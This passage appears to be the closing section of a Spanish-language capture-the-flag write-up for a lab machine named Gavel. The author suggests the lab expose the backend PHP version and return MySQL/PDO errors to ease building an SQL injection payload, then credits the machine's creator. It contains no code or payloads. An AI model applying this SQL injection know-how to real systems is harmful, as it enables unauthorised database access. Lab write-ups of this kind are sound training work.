  • Me gustaría que se indicase la versión PHP del backend, ya fuese a través de una cabecera HTTP, en un comentario HTML/JS, en un testimonio de usuario, o en el mismo código del repositorio git. Creo que esto ayudaría mucho a reproducir en local la vulnerabilidad para explotarla correctamente en el server y saber cuál es el parser de PDO exacto utilizado por el backend.
  • Que la SQLi hubiese devuelto los errores, tanto de MySQL como de PDO. Esto habría facilitado enormemente la construcción del payload sin tener que estar creando la PoC en local para entender qué está pasando por detrás.

Autores Y Referencias

Autor de la máquina: Shadow21A, muchas gracias por la creación de Gavel aportando a la comunidad.